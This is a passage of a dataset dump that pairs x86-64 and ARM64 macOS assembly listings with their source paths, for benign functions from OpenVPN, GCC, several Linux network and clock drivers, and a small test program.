#32] Lloh18: adrp x9, _PROTO_TCP_SERVER@GOTPAGE Lloh19: ldr x9, [x9, _PROTO_TCP_SERVER@GOTPAGEOFF] Lloh20: ldr x9, [x9] cmp x8, x9 b.ne LBB0_26 ; %bb.25: ldr x1, [sp, #8] mov x0, x20 mov x2, x19 bl _phase2_tcp_server b LBB0_5 LBB0_26: Lloh21: adrp x9, _PROTO_TCP_CLIENT@GOTPAGE Lloh22: ldr x9, [x9, _PROTO_TCP_CLIENT@GOTPAGEOFF] Lloh23: ldr x9, [x9] cmp x8, x9 b.ne LBB0_28 ; %bb.27: mov x0, x20 mov x1, x19 bl _phase2_tcp_client b LBB0_5 LBB0_28: Lloh24: adrp x9, _PROTO_UDP@GOTPAGE Lloh25: ldr x9, [x9, _PROTO_UDP@GOTPAGEOFF] Lloh26: ldr x9, [x9] cmp x8, x9 b.ne LBB0_5 ; %bb.29: ldr x8, [x20, #48] cbz x8, LBB0_5 ; %bb.30: mov x0, x20 mov x1, x19 bl _phase2_socks_client b LBB0_5 .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpAdd Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpLdrGotLdr Lloh15, Lloh16, Lloh17 .loh AdrpAdd Lloh13, Lloh14 .loh AdrpLdrGotLdr Lloh10, Lloh11, Lloh12 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGotLdr Lloh21, Lloh22, Lloh23 .loh AdrpLdrGotLdr Lloh24, Lloh25, Lloh26 .cfi_endproc ; -- End function .comm _SOCKET_UNDEFINED,4,2 ; @SOCKET_UNDEFINED .comm _AF_UNSPEC,8,3 ; @AF_UNSPEC .comm _M_WARN,4,2 ; @M_WARN .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Could not determine IPv4/IPv6 protocol. Using %s" l_.str.1: ; @.str.1 .asciz "Could not determine IPv4/IPv6 protocol" .comm _SIGUSR1,4,2 ; @SIGUSR1 .comm _PROTO_TCP_SERVER,8,3 ; @PROTO_TCP_SERVER .comm _PROTO_TCP_CLIENT,8,3 ; @PROTO_TCP_CLIENT .comm _PROTO_UDP,8,3 ; @PROTO_UDP .subsections_via_symbols

AnghaBench/openvpn/src/openvpn/extr_socket.c_link_socket_init_phase2.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function sjlj_emit_dispatch_table _sjlj_emit_dispatch_table: ## @sjlj_emit_dispatch_table .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, -56(%rbp) ## 8-byte Spill movl %edi, %ebx movq _cfun@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movl 16(%rax), %r12d xorl %r13d, %r13d xorl %eax, %eax callq _start_sequence movl %ebx, %edi callq _emit_label movl %ebx, %edi callq _expand_builtin_setjmp_receiver movq _integer_type_node@GOTPCREL(%rip), %rax movl (%rax), %edi callq _TYPE_MODE movq _sjlj_fc_call_site_ofs@GOTPCREL(%rip), %rcx movq (%rcx), %rdx movl %r12d, %edi movq %rax, %rsi callq _adjust_address movl %eax, %edi callq _copy_to_reg movl %eax, -44(%rbp) ## 4-byte Spill movq _word_mode@GOTPCREL(%rip), %r15 movq (%r15), %rsi movq _sjlj_fc_data_ofs@GOTPCREL(%rip), %r14 movq (%r14), %rdx movl %r12d, %edi callq _adjust_address movq _ptr_mode@GOTPCREL(%rip), %rcx movq (%rcx), %rdi cmpq %rdi, (%r15) je LBB0_2 ## %bb.1: movl %eax, %esi xorl %edx, %edx callq _convert_to_mode LBB0_2: movq _cfun@GOTPCREL(%rip), %rbx movq (%rbx), %rcx movq (%rcx), %rcx movl 12(%rcx), %edi movl %eax, %esi callq _emit_move_insn movq (%r15), %rsi movq _UNITS_PER_WORD@GOTPCREL(%rip), %rax movq (%rax), %rdx addq (%r14), %rdx movl %r12d, %edi callq _adjust_address movq (%rbx), %rcx movq (%rcx), %rcx movl 8(%rcx), %edi movl %eax, %esi callq _emit_move_insn movq (%rbx), %rax movq (%rax), %rax movl (%rax), %ebx testl %ebx, %ebx movq -56(%rbp), %rcx ## 8-byte Reload jle LBB0_9 ## %bb.3: xorl %r13d, %r13d jmp LBB0_4 .p2align 4, 0x90 LBB0_7: ## in Loop: Header=BB0_4 Depth=1 movl (%rcx,%rbx,8), %edi callq _GEN_INT movl %eax, %r12d movq _EQ@GOTPCREL(%rip), %rax movl (%rax), %r15d movq _NULL_RTX@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, -48(%rbp) ## 4-byte Spill movq _integer_type_node@GOTPCREL(%rip), %rax movl (%rax), %edi callq _TYPE_MODE movl %r13d, %r14d movq %rax, %r13 movq _eh_region@GOTPCREL(%rip), %rax movl (%rax), %edi movq _cfun@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movl 4(%rax), %esi movl %ebx, %edx callq _VEC_index movl (%rax), %eax movl %eax, (%rsp) movl -44(%rbp), %edi ## 4-byte Reload movl %r12d, %esi movl %r15d, %edx movl -48(%rbp), %ecx ## 4-byte Reload movq %r13, %r8 movl %r14d, %r13d xorl %r9d, %r9d callq _emit_cmp_and_jump_insns movq -56(%rbp), %rcx ## 8-byte Reload LBB0_8: ## in Loop: Header=BB0_4 Depth=1 leaq -1(%rbx), %rax cmpq $1, %rbx movq %rax, %rbx jle LBB0_9 LBB0_4: ## =>This Inner Loop Header: Depth=1 cmpl $0, 4(%rcx,%rbx,8) je LBB0_8 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 testl %r13d, %r13d jne LBB0_7 ## %bb.6: ## in Loop: Header=BB0_4 Depth=1 movl %ebx, %r13d jmp LBB0_8 LBB0_9: xorl %eax, %eax callq _get_insns movl %eax, %ebx xorl %eax, %eax callq _end_sequence movq _eh_region@GOTPCREL(%rip), %rax movl (%rax), %edi movq _cfun@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rax movl 4(%rax), %esi movl %r13d, %edx callq _VEC_index movl (%rax), %esi movl %ebx, %edi callq _emit_to_new_bb_before movq %rax, %rbx movl 4(%rax), %esi movq _EDGE_FALLTHRU@GOTPCREL(%rip), %rax movl (%rax), %edx movq %rbx, %rdi callq _make_edge movl (%rbx), %ecx movl %ecx, 4(%rax) movq _REG_BR_PROB_BASE@GOTPCREL(%rip), %rcx movl (%rcx), %ecx movl %ecx, (%rax) addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _cfun,8,3 ## @cfun .comm _integer_type_node,4,2 ## @integer_type_node .comm _sjlj_fc_call_site_ofs,8,3 ## @sjlj_fc_call_site_ofs .comm _word_mode,8,3 ## @word_mode .comm _sjlj_fc_data_ofs,8,3 ## @sjlj_fc_data_ofs .comm _ptr_mode,8,3 ## @ptr_mode .comm _UNITS_PER_WORD,8,3 ## @UNITS_PER_WORD .comm _EQ,4,2 ## @EQ .comm _NULL_RTX,4,2 ## @NULL_RTX .comm _eh_region,4,2 ## @eh_region .comm _EDGE_FALLTHRU,4,2 ## @EDGE_FALLTHRU .comm _REG_BR_PROB_BASE,4,2 ## @REG_BR_PROB_BASE .no_dead_strip _sjlj_emit_dispatch_table .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function sjlj_emit_dispatch_table _sjlj_emit_dispatch_table: ; @sjlj_emit_dispatch_table .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x1 mov x19, x0 Lloh0: adrp x8, _cfun@GOTPAGE Lloh1: ldr x8, [x8, _cfun@GOTPAGEOFF] Lloh2: ldr x8, [x8] ldr x8, [x8] ldr w21, [x8, #16] bl _start_sequence mov x0, x19 bl _emit_label mov x0, x19 bl _expand_builtin_setjmp_receiver Lloh3: adrp x8, _integer_type_node@GOTPAGE Lloh4: ldr x8, [x8, _integer_type_node@GOTPAGEOFF] Lloh5: ldr w0, [x8] bl _TYPE_MODE mov x1, x0 Lloh6: adrp x8, _sjlj_fc_call_site_ofs@GOTPAGE Lloh7: ldr x8, [x8, _sjlj_fc_call_site_ofs@GOTPAGEOFF] Lloh8: ldr x2, [x8] mov x0, x21 bl _adjust_address bl _copy_to_reg mov x19, x0 Lloh9: adrp x22, _word_mode@GOTPAGE Lloh10: ldr x22, [x22, _word_mode@GOTPAGEOFF] ldr x1, [x22] Lloh11: adrp x23, _sjlj_fc_data_ofs@GOTPAGE Lloh12: ldr x23, [x23, _sjlj_fc_data_ofs@GOTPAGEOFF] ldr x2, [x23] mov x0, x21 bl _adjust_address mov x1, x0 ldr x8, [x22] Lloh13: adrp x9, _ptr_mode@GOTPAGE Lloh14: ldr x9, [x9, _ptr_mode@GOTPAGEOFF] Lloh15: ldr x0, [x9] cmp x8, x0 b.eq LBB0_2 ; %bb.1: mov w2, #0 bl _convert_to_mode mov x1, x0 LBB0_2: Lloh16: adrp x24, _cfun@GOTPAGE Lloh17: ldr x24, [x24, _cfun@GOTPAGEOFF] ldr x8, [x24] ldr x8, [x8] ldr w0, [x8, #12] bl _emit_move_insn ldr x1, [x22] ldr x8, [x23] Lloh18: adrp x9, _UNITS_PER_WORD@GOTPAGE Lloh19: ldr x9, [x9, _UNITS_PER_WORD@GOTPAGEOFF] Lloh20: ldr x9, [x9] add x2, x9, x8 mov x0, x21 bl _adjust_address mov x1, x0 ldr x8, [x24] ldr x8, [x8] ldr w0, [x8, #8] bl _emit_move_insn ldr x8, [x24] ldr x8, [x8] ldr w22, [x8] cmp w22, #1 b.lt LBB0_9 ; %bb.3: mov w21, #0 add x8, x20, x22, lsl #3 add x27, x8, #4 Lloh21: adrp x26, _EQ@GOTPAGE Lloh22: ldr x26, [x26, _EQ@GOTPAGEOFF] Lloh23: adrp x28, _NULL_RTX@GOTPAGE Lloh24: ldr x28, [x28, _NULL_RTX@GOTPAGEOFF] b LBB0_6 LBB0_4: ; in Loop: Header=BB0_6 Depth=1 ldur w0, [x27, #-4] bl _GEN_INT mov x20, x0 ldr w23, [x26] ldr w24, [x28] Lloh25: adrp x8, _integer_type_node@GOTPAGE Lloh26: ldr x8, [x8, _integer_type_node@GOTPAGEOFF] Lloh27: ldr w0, [x8] bl _TYPE_MODE mov x25, x0 Lloh28: adrp x8, _eh_region@GOTPAGE Lloh29: ldr x8, [x8, _eh_region@GOTPAGEOFF] Lloh30: ldr w0, [x8] Lloh31: adrp x8, _cfun@GOTPAGE Lloh32: ldr x8, [x8, _cfun@GOTPAGEOFF] Lloh33: ldr x8, [x8] ldr x8, [x8] ldr w1, [x8, #4] mov x2, x22 bl _VEC_index ldr w6, [x0] mov x0, x19 mov x1, x20 mov x2, x23 mov x3, x24 mov x4, x25 mov w5, #0 bl _emit_cmp_and_jump_insns LBB0_5: ; in Loop: Header=BB0_6 Depth=1 sub x27, x27, #8 subs x22, x22, #1 b.le LBB0_10 LBB0_6: ; =>This Inner Loop Header: Depth=1 ldr w8, [x27] cbz w8, LBB0_5 ; %bb.7: ; in Loop: Header=BB0_6 Depth=1 cbnz w21, LBB0_4 ; %bb.8: ; in Loop: Header=BB0_6 Depth=1 mov x21, x22 b LBB0_5 LBB0_9: mov w21, #0 LBB0_10: bl _get_insns mov x19, x0 bl _end_sequence Lloh34: adrp x8, _eh_region@GOTPAGE Lloh35: ldr x8, [x8, _eh_region@GOTPAGEOFF] Lloh36: ldr w0, [x8] Lloh37: adrp x8, _cfun@GOTPAGE Lloh38: ldr x8, [x8, _cfun@GOTPAGEOFF] Lloh39: ldr x8, [x8] ldr x8, [x8] ldr w1, [x8, #4] mov x2, x21 bl _VEC_index ldr w1, [x0] mov x0, x19 bl _emit_to_new_bb_before mov x19, x0 ldr w1, [x0, #4] Lloh40: adrp x8, _EDGE_FALLTHRU@GOTPAGE Lloh41: ldr x8, [x8, _EDGE_FALLTHRU@GOTPAGEOFF] Lloh42: ldr w2, [x8] bl _make_edge ldr w8, [x19] Lloh43: adrp x9, _REG_BR_PROB_BASE@GOTPAGE Lloh44: ldr x9, [x9, _REG_BR_PROB_BASE@GOTPAGEOFF] Lloh45: ldr w9, [x9] stp w9, w8, [x0] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh13, Lloh14, Lloh15 .loh AdrpLdrGot Lloh11, Lloh12 .loh AdrpLdrGot Lloh9, Lloh10 .loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh18, Lloh19, Lloh20 .loh AdrpLdrGot Lloh16, Lloh17 .loh AdrpLdrGot Lloh23, Lloh24 .loh AdrpLdrGot Lloh21, Lloh22 .loh AdrpLdrGotLdr Lloh31, Lloh32, Lloh33 .loh AdrpLdrGotLdr Lloh28, Lloh29, Lloh30 .loh AdrpLdrGotLdr Lloh25, Lloh26, Lloh27 .loh AdrpLdrGotLdr Lloh43, Lloh44, Lloh45 .loh AdrpLdrGotLdr Lloh40, Lloh41, Lloh42 .loh AdrpLdrGotLdr Lloh37, Lloh38, Lloh39 .loh AdrpLdrGotLdr Lloh34, Lloh35, Lloh36 .cfi_endproc ; -- End function .comm _cfun,8,3 ; @cfun .comm _integer_type_node,4,2 ; @integer_type_node .comm _sjlj_fc_call_site_ofs,8,3 ; @sjlj_fc_call_site_ofs .comm _word_mode,8,3 ; @word_mode .comm _sjlj_fc_data_ofs,8,3 ; @sjlj_fc_data_ofs .comm _ptr_mode,8,3 ; @ptr_mode .comm _UNITS_PER_WORD,8,3 ; @UNITS_PER_WORD .comm _EQ,4,2 ; @EQ .comm _NULL_RTX,4,2 ; @NULL_RTX .comm _eh_region,4,2 ; @eh_region .comm _EDGE_FALLTHRU,4,2 ; @EDGE_FALLTHRU .comm _REG_BR_PROB_BASE,4,2 ; @REG_BR_PROB_BASE .no_dead_strip _sjlj_emit_dispatch_table .subsections_via_symbols

AnghaBench/freebsd/contrib/gcc/extr_except.c_sjlj_emit_dispatch_table.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function nfp6000_area_cleanup _nfp6000_area_cleanup: ## @nfp6000_area_cleanup .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _nfp6000_area_cleanup .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function nfp6000_area_cleanup _nfp6000_area_cleanup: ; @nfp6000_area_cleanup .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .no_dead_strip _nfp6000_area_cleanup .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/netronome/nfp/nfpcore/extr_nfp6000_pcie.c_nfp6000_area_cleanup.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp ## InlineAsm Start nop ## InlineAsm End ## InlineAsm Start nop ## InlineAsm End leaq L_.str(%rip), %rdi callq _puts xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Yada" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 ; InlineAsm Start nop ; InlineAsm End ; InlineAsm Start nop ; InlineAsm End Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _puts mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Yada" .subsections_via_symbols

the_stack_data/961385.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _omap1_clk_enable ## -- Begin function omap1_clk_enable .p2align 4, 0x90 _omap1_clk_enable: ## @omap1_clk_enable .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl 4(%rdi), %eax leal 1(%rax), %ecx movl %ecx, 4(%rdi) xorl %r14d, %r14d testl %eax, %eax jne LBB0_9 ## %bb.1: movq %rdi, %rbx movq 8(%rdi), %rdi testq %rdi, %rdi je LBB0_5 ## %bb.2: callq _omap1_clk_enable movl %eax, %r15d testl %eax, %eax jne LBB0_8 ## %bb.3: movq _CLOCK_NO_IDLE_PARENT@GOTPCREL(%rip), %rax movl (%rax), %eax testl %eax, (%rbx) je LBB0_5 ## %bb.4: movq 8(%rbx), %rdi callq _omap1_clk_deny_idle LBB0_5: movq 16(%rbx), %rax movq %rbx, %rdi callq *(%rax) testl %eax, %eax je LBB0_9 ## %bb.6: movl %eax, %r15d movq 8(%rbx), %rdi testq %rdi, %rdi je LBB0_8 ## %bb.7: callq _omap1_clk_disable LBB0_8: decl 4(%rbx) movl %r15d, %r14d LBB0_9: movl %r14d, %eax addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _CLOCK_NO_IDLE_PARENT,4,2 ## @CLOCK_NO_IDLE_PARENT .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _omap1_clk_enable ; -- Begin function omap1_clk_enable .p2align 2 _omap1_clk_enable: ; @omap1_clk_enable .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 ldr w8, [x0, #4] add w9, w8, #1 str w9, [x0, #4] cbz w8, LBB0_2 ; %bb.1: mov w20, #0 b LBB0_10 LBB0_2: mov x19, x0 ldr x0, [x0, #8] cbz x0, LBB0_6 ; %bb.3: bl _omap1_clk_enable mov x20, x0 cbnz w0, LBB0_9 ; %bb.4: ldr w8, [x19] Lloh0: adrp x9, _CLOCK_NO_IDLE_PARENT@GOTPAGE Lloh1: ldr x9, [x9, _CLOCK_NO_IDLE_PARENT@GOTPAGEOFF] Lloh2: ldr w9, [x9] tst w9, w8 b.eq LBB0_6 ; %bb.5: ldr x0, [x19, #8] bl _omap1_clk_deny_idle LBB0_6: ldr x8, [x19, #16] ldr x8, [x8] mov x0, x19 blr x8 mov x20, x0 cbz w0, LBB0_10 ; %bb.7: ldr x0, [x19, #8] cbz x0, LBB0_9 ; %bb.8: bl _omap1_clk_disable LBB0_9: ldr w8, [x19, #4] sub w8, w8, #1 str w8, [x19, #4] LBB0_10: mov x0, x20 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _CLOCK_NO_IDLE_PARENT,4,2 ; @CLOCK_NO_IDLE_PARENT .subsections_via_symbols

AnghaBench/linux/arch/arm/mach-omap1/extr_clock.c_omap1_clk_enable.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function esr_read_rxtx_ctrl _esr_read_rxtx_ctrl: ## @esr_read_rxtx_ctrl .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdx, %r14 movq %rsi, %r15 movq %rdi, %rbx movl (%rdi), %r12d movq _NIU_ESR_DEV_ADDR@GOTPCREL(%rip), %rax movl (%rax), %r13d movq %rsi, %rdi callq _ESR_RXTX_CTRL_L movq %rbx, %rdi movl %r12d, %esi movl %r13d, %edx movl %eax, %ecx callq _mdio_read testl %eax, %eax js LBB0_3 ## %bb.1: movzwl %ax, %eax movl %eax, (%r14) movl (%rbx), %r12d movq _NIU_ESR_DEV_ADDR@GOTPCREL(%rip), %rax movl (%rax), %r13d movq %r15, %rdi callq _ESR_RXTX_CTRL_H movq %rbx, %rdi movl %r12d, %esi movl %r13d, %edx movl %eax, %ecx callq _mdio_read movl %eax, %ecx xorl %eax, %eax testl %ecx, %ecx js LBB0_3 ## %bb.2: shll $16, %ecx orl %ecx, (%r14) LBB0_3: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _NIU_ESR_DEV_ADDR,4,2 ## @NIU_ESR_DEV_ADDR .no_dead_strip _esr_read_rxtx_ctrl .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function esr_read_rxtx_ctrl _esr_read_rxtx_ctrl: ; @esr_read_rxtx_ctrl .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x2 mov x21, x1 mov x20, x0 ldr w22, [x0] Lloh0: adrp x24, _NIU_ESR_DEV_ADDR@GOTPAGE Lloh1: ldr x24, [x24, _NIU_ESR_DEV_ADDR@GOTPAGEOFF] ldr w23, [x24] mov x0, x1 bl _ESR_RXTX_CTRL_L mov x3, x0 mov x0, x20 mov x1, x22 mov x2, x23 bl _mdio_read tbnz w0, #31, LBB0_4 ; %bb.1: and w8, w0, #0xffff str w8, [x19] ldr w22, [x20] ldr w23, [x24] mov x0, x21 bl _ESR_RXTX_CTRL_H mov x3, x0 mov x0, x20 mov x1, x22 mov x2, x23 bl _mdio_read tbnz w0, #31, LBB0_3 ; %bb.2: mov x8, x0 mov w0, #0 ldr w9, [x19] orr w8, w9, w8, lsl #16 str w8, [x19] b LBB0_4 LBB0_3: mov w0, #0 LBB0_4: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _NIU_ESR_DEV_ADDR,4,2 ; @NIU_ESR_DEV_ADDR .no_dead_strip _esr_read_rxtx_ctrl .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/sun/extr_niu.c_esr_read_rxtx_ctrl.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _i40iw_hw_manage_vf_pble_bp ## -- Begin function i40iw_hw_manage_vf_pble_bp .p2align 4, 0x90 _i40iw_hw_manage_vf_pble_bp: ## @i40iw_hw_manage_vf_pble_bp .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r15 movq %rdi, %r13 movq (%rdi), %rax movq _CCQ_CREATED@GOTPCREL(%rip), %rcx xorl %r14d, %r14d cmpq (%rcx), %rax movl %edx, %esi cmovll %r14d, %esi testl %edx, %edx cmovel %edx, %esi leaq 8(%rdi), %r12 movq %r12, %rdi callq _i40iw_get_cqp_request testq %rax, %rax je LBB0_1 ## %bb.2: movq %rax, %rbx movq %rax, %rdi addq $24, %rdi movq %r15, %rsi movl $4, %edx callq _memcpy movq _OP_MANAGE_VF_PBLE_BP@GOTPCREL(%rip), %rax movl (%rax), %eax movl %eax, 32(%rbx) movl $1, (%rbx) movq %r12, 16(%rbx) movq %rbx, 8(%rbx) movq %r13, %rdi movq %rbx, %rsi callq _i40iw_handle_cqp_op testl %eax, %eax je LBB0_4 ## %bb.3: movl %eax, %ebx leaq L_.str(%rip), %rdi callq _i40iw_pr_err movl %ebx, %r14d jmp LBB0_4 LBB0_1: movq _I40IW_ERR_NO_MEMORY@GOTPCREL(%rip), %rax movl (%rax), %r14d LBB0_4: movl %r14d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _CCQ_CREATED,8,3 ## @CCQ_CREATED .comm _I40IW_ERR_NO_MEMORY,4,2 ## @I40IW_ERR_NO_MEMORY .comm _OP_MANAGE_VF_PBLE_BP,4,2 ## @OP_MANAGE_VF_PBLE_BP .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "CQP-OP Manage VF pble_bp fail" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _i40iw_hw_manage_vf_pble_bp ; -- Begin function i40iw_hw_manage_vf_pble_bp .p2align 2 _i40iw_hw_manage_vf_pble_bp: ; @i40iw_hw_manage_vf_pble_bp .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x21, x1 mov x19, x0 mov x20, x0 ldr x8, [x20], #8 Lloh0: adrp x9, _CCQ_CREATED@GOTPAGE Lloh1: ldr x9, [x9, _CCQ_CREATED@GOTPAGEOFF] Lloh2: ldr x9, [x9] cmp x8, x9 ccmp w2, #0, #4, lt csel w1, wzr, w2, ne mov x0, x20 bl _i40iw_get_cqp_request cbz x0, LBB0_3 ; %bb.1: mov x22, x0 add x0, x0, #24 mov x1, x21 mov w2, #4 bl _memcpy Lloh3: adrp x8, _OP_MANAGE_VF_PBLE_BP@GOTPAGE Lloh4: ldr x8, [x8, _OP_MANAGE_VF_PBLE_BP@GOTPAGEOFF] Lloh5: ldr w8, [x8] str w8, [x22, #32] mov w8, #1 str w8, [x22] stp x22, x20, [x22, #8] mov x0, x19 mov x1, x22 bl _i40iw_handle_cqp_op mov x19, x0 cbz w0, LBB0_4 ; %bb.2: Lloh6: adrp x0, l_.str@PAGE Lloh7: add x0, x0, l_.str@PAGEOFF bl _i40iw_pr_err b LBB0_4 LBB0_3: Lloh8: adrp x8, _I40IW_ERR_NO_MEMORY@GOTPAGE Lloh9: ldr x8, [x8, _I40IW_ERR_NO_MEMORY@GOTPAGEOFF] Lloh10: ldr w19, [x8] LBB0_4: mov x0, x19 ldp x29, x30, [sp, #32] ; 16-byte 